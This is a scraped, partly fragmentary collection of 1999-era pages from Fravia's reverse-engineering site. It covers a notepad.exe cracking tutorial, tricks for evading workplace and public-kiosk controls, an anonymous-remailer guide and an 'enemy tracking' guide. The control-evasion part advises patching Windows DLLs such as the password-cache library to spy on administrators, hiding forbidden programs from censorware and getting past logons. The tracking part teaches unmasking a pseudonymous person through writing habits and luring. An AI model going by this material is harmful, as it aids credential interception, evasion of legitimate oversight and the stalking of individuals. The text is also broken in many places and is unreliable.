you'll notice an annoying nag that says something like "cannot carry out the wrapping
because
there's too much text in the file...." and blah blah, just BPX MessageBoxA and you'll
climb back
here:
Avoiding that jump (@8A4h) you'll avoid the NAG as well. So NOP it out.
Woooh.....THE END!!!! :D
_________________________________________________
I hope to fix them in the next versions of Hnotepad, anyway the bugs I know so far
are two:
* WHEN YOU CLOSE A FILE, YOU ALWAYS GET THE DIALOG "WANNA SAVE THE FILE?", EVEN IF
YOU DIDN'T
EVEN TOUCH IT. THE MOST ANNOYING, DECISELY, AND I SUSPECT IT'S TIED TO THE RICHEDIT
CONTROL.
ANY HELP IS WELCOME.
* SOMETIMES, OPENING A BIG FILE WHEN YOU ARE *ALREADY* INTO HNOTEPAD WILL MAKE THE
OLD "WANNA
LOAD WORDPAD" NAG POP UP, EVEN IF YOU'RE WORKING WITH THE RICHEDIT AND NOT WITH THE
EDIT. 99%
IT'S A SECOND CHECK ON THE LENGHT OF THE FILE, THO I COULDN'T TRACK IT DOWN YET, I
HAD SOME
PROBLEMS WITH UNIVERISTY, MY TIME AND MY LAZINESS ;)
If you happen to find some other bug, please contact me. You can do it either via
email
(neural@cryogen.com or neuro@mad.scientist.com) or looking for me on IRC. I'm often
in
#cracking4newbies (EFnet) and my nickname is nuural_en or nN. If u're sending an
email, please
specify which operating system you're using.
__________________
PART 5 : Greetings
__________________
GEnius, for having contributed a LOT with his moral support and his ideas about
RichEdit, with
his precious help as beta tester, and for having provided me the scanning code.
Without him all
this wouldn't have been possible, so THANK YOU GENIUS :)
Kill3xx, for having been a patient beta tester, and being a good friend and a
neverending well of
knowledge...excellent work with the Pesentry killo! :)
d4eMoN (aka Patr1zia ;P), for his help and his kindness, and for being a good
friend...thanx
MONSTAH :)
{Suby}, for being a old friend and for his help as beta tester. Won't forget that,
man :)
BrahzVooZ, for being the person that studies the more among the ones i know, and for
being a dear
'live' friend...COME BACK TO CRACKING BRO!! :)
Anub|s, for having liked the Hnotepad project at first sight, and for being a good
friend.
Insanity (not insa|nity :), for being a big fella and the nicest web/botmaster ever
:)
Quine, the (humble humble opinion of a common dude) best reverser ever...hell, i
mean, have you
ever taken the time to read something written by this GENIUS? do it, you won't repent
:)
+MaLaTTiA, for being a great friend and the moderator of the most inactive mailing
list of the
universe :)....and because he will be so kind that he will post me those infoes on
steganography
he promised some time ago as soon as he reads this text...isn't that true, mala???
;))
ytc, one of my dearest internet friends, he's a great dude and keeps telling me that
i should
send my tutes to Fravia...but damn, i don't think they're worth :)...anyway thanks
for everything
bro, and congrats for that beautiful unpacking program (it's growing up real l33to;)
Hope to see
a tute on mem patching from you very soon ;)
Tin, great friend from #c4n, hope to see you soon in Italy, and bring the GIRLZ huh!!
;)
Carpathia, another great friend from #c4n...real l33t0, fantastic page about lamer
logs
(http://lamerlogs.cjb.net) and a beta tester too, thx for everything mate :)
DEZM, keep on learning and you'll soon kick all those so-called crackers in the arse
;))
+yoshi aka _y aka yman, 15 yrs (YEAHS;) old whiny bitch with a big attitude against
italians ;))
j/k of course, a real good boy, and an incredibly clever person imho (and nah i don't
wanna have
sex with you :)
razzia, for his great tutorial about notepad that gave me some big times reading it,
and great
zen-level inspiration for my tutorial!
Fravia+, the BIG one, one of the best reversers at the moment imho.
+ORC, the legend, the myth...another real BIG one, the reason why all crackers are so
proud of their past :)
Guybrush (^__^ ;), Quequero, N6U5, Furb3t, courier^, guiz, Corn, Crackz, Ghirijizzo,
Iczelion,
sortof, Alor, Along3x, Yan Orel, [lazarus], Quantico, llamagone, virogen,
fresh(&clean;), mr nop,
the+q, peneviso (aka xoanino;), moonshado, [r]ipley and all the other friends from
#crack-it,
#cracking4newbies and RingZ3r0 that i don't remember at the moment :)
NeuRaL_NoiSE 1999 for RingZ3r0, absolutely the BEST ITALIAN REVERSE ENGINEERING GROUP
!
(http://ringzer0.cjb.net) and for DREAD, the BEST INTERNATIONAL REVERSING GROUP !
(http://dread99.cjb.net)
Ob Duh
http://www.instinct.org/fravia/nnhnpad.htm (48 of 49) [2/7/2001 3:30:20 PM]
nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe
I wont even bother explaining you that you should BUY programs if you intend to use them for a longer period than the
allowed one. Should you want to STEAL software instead (unlikely in this case :-) you don't need to crack protection schemes
at all: you'll find everything on most Warez sites, complete and already regged, farewell, don't come back.
You are deep inside fravia's page of reverse engineering, choose your way out:
This section is due to a very simple constatation: users are considered, by most system administrators,
not much more than "nuisances" to their system, as if the undisturbed functioning of the system, and not
the user's wishes, should be the determinant factor (for their work and for their life).
Introduction
Users are left to the compete mercy of petty and narrowminded security rules, that -far from contributing to the development of
the whole organisation- squeeze all original experimenting out of those system.
You, as a (moderately) intelligent user have only one option: try to work "undercover" for the sake of the development of
yourself and of everybody else... we'll list inside this section all possible tricks we know of that will allow you to defend a little
more your privacy (and to snoop a little about what actually the system administrators are doing... Quis custodit Custodes? We
do! :-)
Please note RULE NUMBER ONE: Never believe that you are smart. You are NOT. It is EXTREMELY more easy from a
system administrator standpoint to snoop on you than the countrary. Your attempts to snoop on your administrators from
inside their net on one of "their" computers (even if you believe it is "yours") are bound to be pretty feeble indeed. Yes, you can
do something, but you cannot do much. Don't get any feeling of false security reading the various tricks below. Don't think you
can go and "outsmart" your sysads. In fact, don't ever think that you are smart. You are NOT smart. That's rule number one.
REM WIN.BAT
typing win.com
This will allow you to decide if you want (or not) to start the windows bazaar and to connect on line. Keep in mind that you
can do quite a lot of things off line (in dos or windows) and that if you do (and work on your zip drive (see point 4) or on a
floppy inside your a: drive, the sysads have few ways to know what you are doing/writing/cracking. You should always check
for TSR modules anyway (see point 9), just in case, in order to kill them :-) The interrupting of the windows bazaar starting
procedure allows you also to start Winice with a winice.bat that you must edit and save as well. We are examining here the
case of people that are using, at work, an intranet connected computer, because they need a lot of help. Yet this is NOT the
best approach.
In general the best approach is to have ANOTHER computer at work (a portable, locked up in your drawers) where you keep
-encrypted- all your sensible data and tools, unfortunately not everybody has such possibilities :-(
The following tricks will, at least, ameliorate a little the situation of absolute dependancy that most users suffer on the intranet
systems of today.
The loading of Win95 is directed by the file c:\MSDOS.SYS where you'll find the following:
[Paths]
WinDir=C:\WINDOWS
WinBootDir=C:\WINDOWS
HostWinBootDrv=C
[Options]
BootMulti=1
BootGUI=1
Network=1
Just change to BootGui=0 Network=0 To work on stand alone... btw, if you add under [options] Logo=0 you will not have any
more the silly Windows 95 logo, which only slows down the whole starting bazaar.
In fact one of the most peculiar things, in this windoze's dominate aera, is how useful (and powerful) simple dos batch files can
be. So if you don't know how complicate (and interesting) and powerful those simple batchfiles can be, go to some second
hand shop bookstore and buy for next to nothing an old book (89-91) about "dos batching". You'll be amazed at the POWER
that this will give you onto your supernew windoze, as some of the examples in this section attest :-)
ESSAYS
PHASE ONE
fantastic essay by +Yamato about hiding Windows applications, browsing on your own proxy and cracking registry settings!
PHASE TWO
Very interesting C program by Heatmizer about a Win 95 Screen Saver password decrypter that you may find pretty funny
to use at work!
PHASE THREE (12 december 1998)
Another nice essay: enbecor.htm: Sniffing the Corporate and Institutional Network by Embedded
PHASE FOUR (22 July 1999)
CHOWN! Incredible essay by [blue]: chown_bl.htm: Who owns your files? Security thorough obscurity
PHASE FIVE (18 September 1999)
A great essay by NeuRaL_NoiSE: nnhnpad.htm: Reversing, functions addition, modifications in the existing code and
classic cracking of a typical M$-target: notepad.exe
(1)
Where should you keep the files the slave masters would not want you
to use/have on your PC?
Put all the programs you should NOT have installed on your PC inside
OS we are compelled to use) can in this case be turned to our advantage :-)
(2)
by them. Change the names of the *.exe files! If necessary edit the
Change the names of *.exe and *.dll files to non significant names like
hggq67.exe
87771ll.dll
etcetera
fetch them this way (this idea was pilfered from +ORC's 4.2 :-)
page). If you are (or will be) a reverse engineer it won't be all too
difficult, believe me.
Most of the programs and applications that the slave masters use in order
to snoop onto you or to perform their "mysterious activities" (the one that
you would like to "study"), do rely on *.dlls that are located like sitting
ducks inside your /windows and /windows/system directory (MSPWL32.DLL for
enhanced password cache security, to cite but one :-)
Well, here is one of the very few sectors where YOUR competentces should be
by far superior to the capacities of your system administrators: it's our
field: reversing!
"Take home" your target *.dlls and, working on your own machines, modify them
until they will work the way YOU want (and not the way the applications of the
system administrators expect them to :-)
You don't even need to worry much about eventual length differences between the
untamed and the tamed dll... I have never seen any application checking the
length of the *.dlls (there are much too many variants and versions of the
main dlls... windoze is a total mess, never forget it :-), yet, if you want
to go "NUMMERSICHER", don't alter their length and just patch them "inside",
using the many tricks, like "snake-patching", explained in the student section.
Once you are ready (and you have thoroughly tested them) reinsert the transformed
*.dll onto your machine, at work.
Nobody but you will know it (hopefully) yet you will now have some powerful
tools as allies in your battle! You may have redirected the output (with the
data you are interested in) to the screen or to a file (careful!) or to the
printer, you may have tsrred an activation switch, or you may keep a copy of
the tamed dll under another name inside your windows directory, and just
batch it on or off when you need it (so that most of the time the real, untamed
dll will be the one working, and your tamed one will sleep inside the directory
under another non-meaningful name until your simple dos batch "awakes" it :-)
Imagine (just imagine, of course :-) that you modify the OpenPasswordCache
function of the above mentioned mspwl.dll so that you will be notified (with
the possibilities of having a look at the parameters) every time that function
will be called... well: you are NOT using Winice or another debugger in order
to get those data, so there is no "alien" application running onto your system.
Everything looks "normal" from the sysad standpoint: -"stupid user sits in
front of his stupid screen and our SuperhyperSnoopo version 4.2 checks what the
hell he is really doing, how long and how much!". Ah! Your screen gets all the
activities of their SuperhyperSnoopo version 4.2 instead! (or whatever they use...
most of the time it will be an overbloated *.dll intensive app :-)
See: you are playing at a level that most system administrators cannot even
understand (they would not dream of modifying a windows *.dll, they have
enough problems with the "normal" bugged Micro$oft's own ones :-) and you
can, if you tame wisely and if you choose wisely your target dlls, gather a
LOT of information on your system in this way.
(4)
Batch alternative on how to defeat censorship software checking for
files deemed "illegal" by the slave masters when you do not need to
use the programs
Create two batch file (inside c:\windows as well), that will change
on-the-fly, when you run it, the extension of all the executable
you should NOT have installed on your PC to *.myn and back to real:
When you are offline (or when you feel like it)
REM re3444g1.BAT
REM fuck the censors, recreate
cd c:\windows\system
ren GHHA12.myn ultima_9.exe
ren GHGG12.myn chess730.exe
ren GHHA12.myn snooplan.exe
ren GHHA12.myn bombchef.exe
REM OK, recreated names
REM ob3444g1.BAT
REM deceive the censors, obscure
cd c:\windows\system
ren ultima_9.exeG HHA12.myn
ren chess730.exe GHGG12.myn
ren snooplan.exe GHHA12.myn
ren bombchef.exe GHHA12.myn
REM OK, obscured names
(5)
How to install everything you want without a CD-ROM
Buy a zip drive and use the 100 Megabyte zip cartridge in order to
install whatever you like on your PC even without a CD-ROM, and in
order to save/keep/move files as you fancy without leaving much
traces behind you. The zip connects trhrough the parallel port
and its data transfer ratio is acceptable. You may even RUN programs
from there WITHOUT LEAVING ANY PHYSICAL TRACE INSIDE YOUR PC.
(6)
(7) Visit the site with the warez you are interested in with
2) Write down the exact name of the *.zip file you want.
have found)
GOOD FTPMAILERS:
(just send to each of them an email with the word "help" in the
subject and in the body. Keep in mind that some of them at times
DEARN DE BITFTP@DEARN
BRYANT ftpmail@ftpmail.bryant.vix.com
GARBO FI ftpmail@garbo.uwasa.fi
(8)
I assume that there is no track on the loggings if you just save images
using the right mouse button... but you may choose to get the images
(9)
function of that PC, wait until the sysad's slaves come and repair it.
use it THE SAME DAY (they have most of the time rotating passwords).
(A)
have been banned "en block" because somebody used somewhere the
stupid to use this shit, but you never know... should they use these
A.2.1) Windows 95
Choose OCRAWARE
End Task
C:\
edit config.sys
A.3. Cybersitter
CD /WINDOWS
CTRL+ALT+DEL
create c:\windows\temp_holder
block anymore
notepad cywin.alt
(B)
(active modules)
C:\WINDOWS\WINIPCFG.EXE
ps
kill
(C)
Install Winice 3.2. (there is a whole project of the student section that explains
how to fetch and use this most powerful debugger. You'll find softice
everywhere on the web: search, or buy it, it's a very good tool and deserves it)
Find the correct drivers for your PC (you may download them from
(D)
Use the policy editor (you'll not find it inside your machine at work,
all limits
switches /n
...And if you don't see EVEN THIS, take a look at the c:\msdos.sys
[Options]
BootMulti=1
BootGUI=1
Network=1
etcetera
the following:
BootKeys=0
-this one causes the same shit, so you have to change it to:
Bootkeys=1
(D)
As anyone (should) know, you can boot the windows bazaar in SAFE MODE (press F8 at
start
If you do choose safe mode, you'll notice pretty interesting new possibilities, which
were disabled in the "normal" booting configuration. Among other things you'll be
able
to choose the "update information tool" and have a look at what your sysads have made
in the last months (and which *.dll you should "intercept", see point three :-)
As long as you are in safe mode you are, moreover, relatively 'safe', so experiment
around
(E)
Well, let's not forget all the advantages of a quick and reliable encryptor. I use
blowfish
(and quick) encryptor, that will blowfish all the files you want, at work and at
home,
in a couple of seconds. You may (probably) get a beta version from Markus' page at
http://www-hze.rz.fht-esslingen.de/~tis5maha/software.html
Actually no, you should not. Most of the files and data that we have on our harddisks
are perfectly legal (reversing software is not an illegal activity, you may want to
no real need to encrypt anything whatsoever. Yet there are (at least) two sound
reasons
avoid ANY administrator's sniffing. Of course, once they find all your
text files blowfished they will know that you have something to hide
(once more a good dos batch can transform all those funny secret.txt.bfa
names into something more "neutral" like Cirrus.drv :-) yet the mere fact
that they wont be able to know what you are hiding is fun enough :-)
2) it's a good PRACTICE. Once you get used to routinely blowfish your data,
you'll learn also to KEEP those data in some places (and not everywhere
inside your PC, and you'll get used to encrypt sensible data, which, in
an epoque like the one we are living in, is a very sensible thing to do
anyway.
1. You could do any kind of activity in a more obscure way (no great
2. Youll enjoy a free Internet service (and the Web should be free, nicht wahr?)
It is still hard to get a shell account free and without giving much
information about yourself, but this access still helps you keep up with
telnet programs (you should know the POWER of telnetting if you are reading
these pages). Now this really bores, because there are times when you
dont even have access to the basic Programs and Settings menus of the Start
Button.
Now, how would one run programs, install programs, and read files from
these restricted systems if they dont even let you boot (Boot
passwords)? Impossible!
Not really
#1
One of the more remarkable things on these public computers is that they
often "forget" a nice 'old' program called TaskMan. This is a small program
figure out what is the purpose :). This program will allow you the
Run Application option, and from there you could try your luck with
Programs. GRP (whichll pop up all the groups of Windows thatd have
otherwise been hidden through censorware like IKIOSK.) And then theres
COMMAND.COM. Mind you, you should always have a system disk with you
#2
You know, they could have killed TaskMan after finding out what you have
been doing with it (or even 'beforehand' if the sysads are smart, which,
worry, theres still another way. These public computers using Windoze95
Chances are theyll have at least one single program, somewhere, which
requires a standard file input from a disk. NotePad may be disabled, Write
may have been crippled, but the censors won't probably have maimed that
probably the only other file utility on the marketplace of your library
standard file input files [write, Notepad, Netscape (if 'they' did not
disable the 'delicate' menu options, etc) and when you get to the "Open
What do you see?! Well, theres the silly M$ 'rightclick' list: "Open Explore"
The big point is that You now have access to Windows Explorer. From then
on... well...
#3
But again, our nasty censors and sysads world is not as forgiving as the we
Now, what if they have also removed EXPLORER from the RightClickOnFolderList?
"Man, thats it. Die public computers are too heavy censored... I give up".
Theres one more way. There is still one more option: the "Open" section in
the RightClickOnFolder!
You could click on anything and it would open it through the software you
want it to. Could even be a software 'sort of'... try ProgramManager... youll
be surprised.
A bag of tricks
*** One idea to play around is to get to a file browser (somehow) and if
you find all executable programs have been disabled for direct access, try
it 'indirectly'!
What I mean is: click on the files made for that particular program,
then you just might be able to run the program you wanted, even if direct
disabled.
If not, hey, come to think of it, another hope is to have the "Browse" button
as a choice...
*** Also try installing some programs (like PIRCH). Even though I dont
know why, if you are able to run them, then theyll automatically start
the Program Manager (no matter what the restrictions were set from the
outside) and once you can start Program Manager you'r done!
*** Dead end with "OneEyed" (no buttons, no buttons) with Netscape?
Try our famous Easter Egg shortcuts! Press Ctrl+Alt+F. Then a road will
appear, explore! Try "Netscape Home Page". Try their silly and slow search
engines, try downloading useful programs. Try whatever... main thing is you
Entering a network which uses user authentication via NT domains and has the
auth. needed for logon 'vinkje' set. (vinkje is a word describing the windows
thing of checking a box, and it is also used in: hey <thisnthat> doesn't work!
Some networks need a usercode and password to log you on, or you won't be able
to use the machines (even). Well, i got in useing the following. type something
totally wrong.
type it again. Try cancel a lot of times (this very often works in such
networks, cause sysadmins mostly don't even know about this one (i do, and i am
a sysadmin (at the moment))). The third time entered a wrong u/p the machine
gladly assisted me in 'hacking my way in' by pointing out: "You have entered a
wrong password, you may try to login as guest", which i promptly did, and
start->run, winipcfg and then after he/she left, boot in safe mode and enter
regards,
Stacker
Hey reader! Any chance you would stop leeching for a couple of minutes and send
something valuable over here? Don't you think that your knowledge is needed as
well?
(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved
check Accepting a Cookie. In N4, select EditPreferences, choose Advanced, and select Warn me before
accepting a cookie. Or, if you'd like the browser to reject cookies without asking you, select Disable
cookies.
In IE3 or IE4, select ViewOptions and click the Advanced tab. In IE3, select Warn before accepting
cookies. In IE4, just to make things confusing, you must de-select Do not warn before accepting cookies.
N Anonymous Anonymous
O e-mailing e-mailing
(private and
N (private and newsgroups)
Y newsgroups) updated
September
1999
~
It's actually a simple survival
matter: anonymity on Usenet is,
M for instance, particularly
important in these spamming
days, if you don't want a flooded
I email address.
~
On this page
T Fravia's Nofrill
Web design
(98 ~ 99)
[WWW anonymous emailing]
[remailer list]
[anonymous emailing (private)]
Anonymity on the Web is actually a simple survival matter: anonymity on Usenet is, for instance,
particularly important in these spamming days to avoid flooded email addresses. Commercial vendors
of all possible crap / gods / services / commodities that you DO NOT need in the least will gladly go over
your dead body in order to fetch your email address! Therefore learn the basic of anonymous emailing
here... courtesy of fravia's pages of reverse engineering.
Anonymous E-mail
Crack the post
Replay.com (works well per email as well, see below), and you may use also www.c2.net, a nice one. Of course
nym.alias.net (a second generation nymsever) could be useful as well. If you would like to premail and chain remail you
should realize, for your anonymous chain remailing, which remailers are the quickest remailers (real order depends from
your location, time of the day, etc, just experiment a little...)
First of all, here is a list of anonymous remailers (Bob Appleton's one, modified by fravia+. In order to obtain an up-to-date
listing of anonymous remailers, with statistics, finger rlist@anon.efga.org or rlist@anon.lcs.mit.edu):
States' remailers
remailer@replay.com <-- else you may use these reliable remailers
remailer@privacy.nb.ca <-- Joseph "Anonymous" Howe
remailer@anon.efga.org <-- "Georgia Cracker" Anonymous Remailer
Yet you may want a "simpler" way to send email anonymously, without browsing on line the sites given above, with the
possibility of preparing your own automated scripts and even without any need to edit the email header if you don't happen
to have a Unix box... basically, as you'll see below, you can use some remailers (which are simple automated mail handling
bots, installed on various accounts, which will accept any message sent with the proper headers and automatically re-send it
anonymously to whoever you want). You'll send email anonymously to your destinatary by sending mail to any of the
remailers listed below, with the header "Anon-To: address" and the address that you want to send anonymously to. If you
can't add headers to your mail (typical windoze user), you can place two colons on the first line of your message, followed
by the "Anon-To:" line. Follow that with a blank line, and then begin your message.
Here follows a complete explanation:
From: your@real.address ;your real address is sent of course, yet don't worry
To: remailer@replay.COM ;this nice remailer will strip off your name
Subject: Anonymous Mail ;Subject will be transmitted, all the rest stripped off
----------------------------------------------------------------------------------
:: ;place two colons on the first line of your message
Anon-To: desti@nat.ary ;and then the Anon-To line
Latent-Time: +1:00r ;instructing the remailer to delay randomly the message
Cutmarks: -- ;any line beginning with the same text as in the
;cutmarks header, and any lines following it will
;be removed. Remember! Follow the :: block, after
;"Cutmarks: --", with at least ONE blank line!
and this words ARE the text of your anonymous mail message, which begins
only AFTER the blank lines after "Cutmarks: --". So this is all anonymized
stuff, and you write, and write and write, but remember to choose your
"Cutmarks", I have used two dashes, as in good old (and now unfortunately
defunct) anon.penet times, therefore THIS line of my text would be sent
--
but THIS line of my text will not be anonymously sent
Warning: If you forget the trailing blank after the "--" in the "Cutmarks:" directive, your signature (some
email_programs automatically insert a signature file which usually contains the sender's e-mail address, and would
reveal their identity) won't be cut off.
Don't underestimate the importance of NOT betraying your timezone when you post (that's one of the first elements a
stalker would use to track you, see my enemy page). You create a random delay by adding an 'r' to the time
(+1:00r), which in the case above would have the message be delivered at a random time, but not more than an hour.
You can also delay the message until a specific time. For example, "Latent-Time: 0:00" without the '+' would delay
the message until midnight (at the remailer site). Times must be in 24-hour format. Anyway modern remailers
automatically reorder all messages in a large pool, which produces a similar random effect even if you forget the time
directive..
If your message has a "Get-URL:" header, the remailer will try to retrieve the URL you have indicated with an
external WWW client, ASCII- armor it with PGP, and append it to the message. After that, the message will be
processed as usual. Note howebver that the WWW client of the polish remailers can access only HTTP and FTP
URLs
Should the above instructions still not be enough for you, just send this email as it is (answer OK to Navigator's question
about not having written anything in the text, Opera will handle everything orright) and wait for the remailer answer sipping
your favourite cocktail and wandering around inside my site.
The following part, about usenet posting, offers a bunch of other tips that are valid for private posting as well. So read it :-)
NOTA BENE!
all group names (if you crosspost to more than one newsgroup) must be separated by commas (but NO spaces).
The reason for the 4th line containing a # is that additional headers can be written to the output message by preceding
them with a "##" line (multi-line headers with indented continuation lines are allowed... an indented line in a message
header indicates a continuation of the previous line, duh) Therefore:
##
Reply-To: bgates@msn.com
Subject: A message with user-supplied headers: the subject extends
for instance over two lines
When posting your test messages (ALWAYS POST TEST MESSAGES FIRST somewhere and check them, you
never know what for 'concealed add-ons' your last frizzy-dilly version of M$ Outlook may have added in your
postings!), use the appropriate groups (alt.test, misc.test). Take care, tough, these very groups are (on purpose)
routinely checked by nasty 'fishers' looking for gullible lusers, take care therefore that your message looks the most
'inoffensive' as possible (unless you want to try to lure them, but that's a completely different history, see my luring
and social engineering tricks page).
In order to post an anonymous follow-up article and have it appear in a thread, you must set the "Subject:" and
"References:" headers of your message correctly: to build a references header, copy the references header of the
article to which you are replying, and append that article's Message-ID. If you are replying to the first article of a
thread, it won't have a references header. In that case just use the article's Message-ID as your references header.
Advanced tactics
For added security, you can encrypt your messages to the remailer with PGP. The remailer software will decrypt the
message and send it on. This is especially useful if you are anonymously emailing from your workplace. To utilize
this feature, create a message with two colons on the first line, then the "Anon-To:" or "Anon-Post-To:" header, then
any other commands such as "Cutmarks:" or "Latent-Time:", then a blank line, then the optional "##" line and your
additional headers, then a blank line, and then the body of your message. Encrypt this with the remailer's public key
(in order to get it, just email your favourite remailer with the word 'help' without the inverted commas, both in the
Subject and in the Body of your posting). Then send your encrypted anonymous posting to the remailer, adding the
header "Encrypted: PGP". If you forget this, the remailer won't know that it needs to be decrypted. Also be sure to
use the "-t" option with PGP, or the linefeeds might not be handled properly.
Any text after your encrypted remailer message is also remailed. This allows sending messages to someone who is
anonymous. If you create a PGP-encrypted message to yourself via this remailer, and then give it to someone, they
can send you a message by sending the encrypted message to the remailer. The remailer will then decrypt it and send
it to you. The message gets anonymized in the process, so the sender will need to include a return address if he wants
a reply.
Messages sent this way can be encrypted using the "Encrypt-Key:" feature. Any text following a line containing only
"**" (without quotes) will be encrypted with this key. For example, if you put in the plaintext of your PGP message:
::
Anon-To: you@yourhost.org
Encrypt-Key: your_password
**
The appended message after the "**" will be encrypted with the key "your_password", using PGP's conventional
encryption option. If you omit the "**" marks, the message will be discarded to prevent traffic analysis by sending
intercepted messages with the "**" marks removed.
It is much simpler to manage these "reply blocks" -- both from the sender's and recipient's perspective -- by using a
nymserver. Please visit http://www.publius.net/n.a.n.html for more information (homepage of nym.alias.net, the
home of the nymserver software).
To confuse possible attackers even more, you can generate some cover traffic by sending encrypted messages with
the special "Null:" header rather than the usual "Anon-To:" or "Anon-Post-To:" headers. The remailer will drop these
messages in the bit bucket.
AOL, Compuserve, Infonie and all other BIG dynamic IP providers have been called "the largest anonymous
remailers in the world,". They allow up to eight screen email-names, each of which is a pseudonym traceable only by
the dynamic provider on request by law enforcement. Yet, disks offering various free months trial periods are quite
easy to come by. I don't think you need more to understand what this implies (if you'r connecting to the web from
your portable 'on the road', that is :-)
Of course a real reverser may want to have a look at the c code of a remailer in order to improve it, crack it, or just
understand it :-)
And try This inference query for more info...
Now, if you have never done it before, go ahead and try a couple of simple anonymous emailings first. Leave the advanced
stuff and settings for later. Email yourself and choose as subject 'my first anonymous email'. In a couple of months time, if
you study some of the tips above, you won't believe that you were not able to do it before :-)
Essays
(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved, in the European Union and elsewhere
(Updated: June
Fravia's Anonymity Academy Luring and social engineering
1999)
(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved
C Enemy tracking
updated
End July 1998
~
Enemy tracking, a very difficult art, can be
divided into stalking, reversing language
H 1) General stalking
techniques
patterns and luring. In order to stalk you
need a deep knowledge of Usenet spamming
(and war) techniques like flaming, trolling
2) Reversing language and crossposting. A good reverser can
A patterns
3) Luring and social
moreover easily 'reconstruct' (part of) the
snailtrail of his enemies and defeat their
smoke curtains applying some easy semantical
! engineering tricks
Fravia's Nofrill
Web design
reverse engineering tricks. Finally the
reverser will lure his targets into the open
web and identify it.
(1998)
1) General stalking techniques
2) Reversing language patterns
3) General stalking techniques
Please take note that in the following, as usual in our reversing tradition, with "target" I intend the person (and pseudo) you
want to find more data about (and if possible his real identity)
There are many 'inconscious' characteristics in someone's writings and ramblings, and contraryly to what you may think, email
comunication does indeed carry A LOT of clues that are as useful as theusual body language clues you costantly check when
you comunicate physically with someone or all the clues given by your partner's voice when you are at the telephone.
Some of these clues are of linguistical, other of grammatical and others are of what I would call 'Internettical' type... with this I
mean clues that neither voice nor paper printed comunication usually convoy.
Since we must start from somewhere, as first clue I would use the "gender" differences.
For gender here I do not mean that you can state if your target is a woman or a man (if you could it would be probably a pretty
poor target :-)
I mean that you can state if your target uses 'male' or 'female' patterns in his communication... chances are that if he uses these
patterns under one bogus identity, he'll use them under all other ones as well... :-)
Now, please, understand me correctly, because I do not want to be pulled into any useless 'gender style' discussion... and I
know that many American friends are obsessed by this kind of crap (writing she/he and so on). So let's be clear: I have always
been convinced that, apart from minor obvious physical differences, there is NO real difference between Women and Men, in
all good or evil characteristics of our specie. Women can (and of course should, with bona pace of all species of religious
idiotical fundamentalists) drive, kill, write, love, play and fight as well as any man, and anyway there are so many women with
male psychological characteristics and so many men with female psychological characteristics that I believe it does not make
much sense to differenciate anything between the twin parts of our race.
Yet among the few physical differences cited above is the well known fact that women give birth to children, and this, added to
society pressures, common tradition, biased instruction, television crap, advertisement conditioning, you name it, makes a LOT
of almost inconscious differences and can actually give us the possibility of reversing (in part) the 'gender leaning' language
patterns of our target.
In other words analysing usenet style emailings you may check if your target has a more "female" or a more "male" personality
basing on the following:
The male style is characterized by adversariality: put-downs, strong often contentious assertions, lengthy and/or frequent
postings, self-promotion, and sarcasm (not always witty).
The female-gendered style, in contrast, has two aspects which typically are found together: supportiveness and attenuation.
Male-targets use more coarse and abusive language and seem to change their opinions slightly less often than females-targets.
Female-targets send more messages explicitly referring to other members of the group than Male-targets.
Context differences certainly may obscure or speciously highlight your results. Always work cum grano salis. In the usual
context of Internet discussion groups "normal" group psychology does not apply. Group membership on usenet is very large
and members do not know all others in the group (especially if there are a large number of "lurkers", people who read
messages but does not write responses and therefore are invisible inside the discussion).
Morever on Usenete the task is mostly not to produce a specific result, but rather to generate ideas and discuss them.
Male-gendered targets in discussion groups use language that a) states facts without personal ownership, b) challenges group
members, c) calls for explicit action, d) is argumentative, e) uses coarse and abusive language, and f) attempt to indicates the
members status.
Female-gendered targets in discussion groups use a language that a) self-discloses, b) states personal ownership of opinion, c)
apologizes, d) asks questions, e) uses "we" pronouns, f) responds directly to others in the group, and g) seeks to prevent or
alleviate tension or arguments.
Exactly as we have a male/female differenciation, there are MANY other 'sharp edges' that you can use to stalk your target, as
you will see in my tablet below.
Keep in mind that computer conversation draws from features of both written and oral discourse and as such has a whole serie
of linguistic and textual patterns: Emphatic, Humorous, Informal.
Syntactic informality often takes the form of incomplete sentences and conversational cadences. For isntance
"Waitamoment!... what d'you mean?"; "Hmm, I see. . ."; "Mmm, no, no... I didn't mind
it..."
The informal, conversational rhythm created by the "Hmm", "Mmm" and the ellipsis is clearly intended to evoke (although
through written means) spoken discourse. Similarly, , "Wouw", "Sigh", "Gulp" and "Gasp" are used occasionally to mimic
vocalizations or paralinguistic features.
Another device used to mimic characteristics of speech is the textual indication of emphasis on words or phrases (present in
many messages). For example, some targets OFTEN use capital letters to create the sense of oral emphasis, others *use
asterisks*, others S P A C E S and some use the html tags, inside their emails, <u> for this same purpose </u>.
Such emphasis cannot be indicated in the written text using underlining or italics, obecause most protocols for exchanging
electronic mail, don't support them yet (expect an explosion of clues as soon as colors will be commonly email exchanged :-)
All these clues depend from the alphanumeric characters of written text, that are used to evoke the emphasis of speech.
In some cases, exclamation points add oral emphasis, as in the subject line "No No! Flush it!!"
Yet there are also involontary clues:
A good stalker always takes note of how many exclamation points and how many question marks the target 'commonly' uses.
There are many different patterns:
?
? (space and question mark)
??
???
??? and so on
This is of course true also for commas, colons,semicolons , and (parenthesis ) that may or may not be spaced before the
preceding word.
Another typical involontary clue is due to the 'typing habits' of your target. He may, for instance, often enough write
'inetresting' instead of 'interesting'; 'nuff' instead of 'enough', and so on and so on. This is of course pretty rare, yet it happens in
less evident parts of the message. For instance, does your target break line
when he wants to substantiate a point? Does he write short or long sentences? Does he use tirets - like this - or rather
parenthesis (like this)? And what about his emotycons? :-] is NOT :o)
Finally, does he write "i use" or "I use"? Often enough email is sent WITHOUT any automated spelling correction check
whatsoever.
There are also 'comportamental" e-mail clues, for instance there are some email comments, on a thread, that at times clearly
resemble those that occur in a face-to-face meeting, when a speaker turns towards and briefly addresses one of the individuals
present, but without yielding the floor to that person: "What's your opinion about this, Brick?" "Hope to hear from Cal about
this stuff!
This kind of attitude pattern can constitute a very STRONG clue when you try to identify a target.
Another example is when you suspect, examining the thread, the existence of private, backchannels between your target and
somebody else.
Backchannels, on usenet, are nothing else than the electronic communication between two or more individuals that is not sent
to the group as a whole.
This can at times be evinced from the contexts. Such messages, like whispered side conversations in a meeting, involve
concerns or strategies adopted by allies on particular issues.
In this cases you may try to find out which are the 'allies' and the 'reference points' of your target inside the group and attack
